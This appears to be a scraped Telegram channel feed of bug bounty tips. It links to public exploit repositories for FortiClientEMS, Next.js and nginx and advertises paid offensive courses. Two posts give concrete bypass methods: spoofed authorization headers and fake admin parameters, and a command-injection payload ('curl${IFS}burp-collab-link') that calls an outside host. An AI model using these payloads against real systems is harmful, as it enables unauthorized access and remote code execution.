DM on WhatsApp - wa.link/brutsecurity
Please open Telegram to view this post
VIEW IN TELEGRAM
😁2❤1
🔔 A PoC/exploit has been discovered for vulnerability CVE-2026-35616
PT ID: PT-2026-30288
Vendor: Fortinet
Product: FortiClientEMS
Description: A improper access control vulnerability in Fortinet FortiClientEMS 7.4.5 through 7.4.6 may allow an unauthenticated attacker to execute unauthorized code or commands via crafted requests.
Link: https://github.com/Alaatk/CVE-2026-35616
PT ID: PT-2026-30288
Vendor: Fortinet
Product: FortiClientEMS
Description: A improper access control vulnerability in Fortinet FortiClientEMS 7.4.5 through 7.4.6 may allow an unauthenticated attacker to execute unauthorized code or commands via crafted requests.
Link: https://github.com/Alaatk/CVE-2026-35616
GitHub
GitHub - Alaatk/CVE-2026-35616: Fortinet FortiClientEMS improper access control
Fortinet FortiClientEMS improper access control. Contribute to Alaatk/CVE-2026-35616 development by creating an account on GitHub.
❤5
https://topmate.io/saumadip/2054509?coupon_code=awxe
Please open Telegram to view this post
VIEW IN TELEGRAM
topmate.io
Brut Offensive Playbook v1 with Saumadip Mandal | Topmate
Brut Offensive Playbook v1 with Saumadip Mandal · Pro hacker's playbook: recon, XSS, SQLi, SSRF & more · Digital Product · ₹199 · Topmate
❤1
⚡️PoC collection of Atlassian(Jira, Confluence, Bitbucket) products and Jenkins, Solr, Nexus,etc
✅http://github.com/shadowsock5/Poc
✅http://github.com/shadowsock5/Poc
🔥8❤7🐳2👏1
CVE-2026-23870, CVE-2026-44575, CVE-2026-44579, CVE-2026-44574, CVE-2026-44578, CVE-2026-44573, CVE-2026-44581, CVE-2026-44580, CVE-2026-44577, CVE-2026-44576, CVE-2026-44582, CVE-2026-44572
https://github.com/dwisiswant0/next-16.2.4-pocs
https://github.com/dwisiswant0/next-16.2.4-pocs
GitHub
GitHub - dwisiswant0/next-16.2.4-pocs: Next.js v16.2.4 Security PoC Collection (CVE-2026-23870, CVE-2026-44575, CVE-2026-44579…
Next.js v16.2.4 Security PoC Collection (CVE-2026-23870, CVE-2026-44575, CVE-2026-44579, CVE-2026-44574, CVE-2026-44578, CVE-2026-44573, CVE-2026-44581, CVE-2026-44580, CVE-2026-44577, CVE-2026-445...
👍3❤2
✅ Real-world web attacks
✅ Live practical sessions
✅ Bug bounty methodology
✅ Recon to exploitation
✅ Report writing & workflow
✅ Beginner friendly + advanced concepts
📅 Batch Starts: June 2026
📍 Online Live Classes, Weekend Batch
📩 Limited seats available
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5
Hey Hunter’s,
DarkShadow is here back again!
if you got any api endpoint and showing you unauthorized then use fake perameter like:
you can FUZZ like:
?admin=true,
?bypass=1,
debug=true,
OR try to add header “X-Custom-IP-Authorization: 127.0.0.1”
these are some underrated but very effective method which i use to check api endpoints.
if you guy’s really enjoy to read such method then show your love to react here 🔥❤️
DarkShadow is here back again!
if you got any api endpoint and showing you unauthorized then use fake perameter like:
/api/public = unauthorized
/api/public/latest?anything=/api/public
you can FUZZ like:
?admin=true,
?bypass=1,
debug=true,
OR try to add header “X-Custom-IP-Authorization: 127.0.0.1”
these are some underrated but very effective method which i use to check api endpoints.
if you guy’s really enjoy to read such method then show your love to react here 🔥❤️
❤8🔥8👍4
Please open Telegram to view this post
VIEW IN TELEGRAM
topmate.io
Brut Offensive Playbook v1 with Saumadip Mandal
Brut Offensive Playbook v1 with Saumadip Mandal · Pro hacker's playbook: recon, XSS, SQLi, SSRF & more · Digital Product · ₹199 · Topmate
❤4🔥3👍2
A collection of AI agent prompts for bug bounty and pentesting workflows:
https://github.com/matty69v/Bug-Bounty-Agents
https://github.com/matty69v/Bug-Bounty-Agents
GitHub
GitHub - matty69v/Bug-Bounty-Agents: AI-Powered Agents for Bub-Bounty Pentesting and Red-Teaming purposes
AI-Powered Agents for Bub-Bounty Pentesting and Red-Teaming purposes - matty69v/Bug-Bounty-Agents
❤1👍1
Please open Telegram to view this post
VIEW IN TELEGRAM
topmate.io
Bug Bounty Masterclass 2026 with Saumadip Mandal | Topmate
Bug Bounty Masterclass 2026 with Saumadip Mandal · Beginner to bug bounty hunter — tools, recon & real PoCs. · Digital Product · ₹149 · Topmate
🔥2❤1
GitHub: https://github.com/depthfirstdisclosures/nginx-rift
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6👍2
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13
Cooking something powerful behind the scenes…⚡
Upload coming soon — stay ready.
~DarkShadow
❤7🗿6
Please open Telegram to view this post
VIEW IN TELEGRAM
topmate.io
Brut Offensive Playbook v1 with Saumadip Mandal
Brut Offensive Playbook v1 with Saumadip Mandal · Pro hacker's playbook: recon, XSS, SQLi, SSRF & more · Digital Product · ₹199 · Topmate
❤4👍1
Hey Hunter's,
DarkShadow is here back again!
?url= ❌SSRF, ✅RCE
If you find a parameter that passes through the URL, before testing for SSRF, try testing for RCE.
Now, guys, if you genuinely enjoy reading such methods, show your appreciation. I’ll soon publish a very interesting tool!
And Don't forget to follow me x.com/darkshadow2bd
#rce #bugbounty #bugbountytips
DarkShadow is here back again!
?url= ❌SSRF, ✅RCE
If you find a parameter that passes through the URL, before testing for SSRF, try testing for RCE.
1. bypass: ?url=http://x"; [now add here your blind rce payload]
2. payload: curl${IFS}burp-collab-link;#
Now, guys, if you genuinely enjoy reading such methods, show your appreciation. I’ll soon publish a very interesting tool!
And Don't forget to follow me x.com/darkshadow2bd
#rce #bugbounty #bugbountytips
❤12🔥5👍1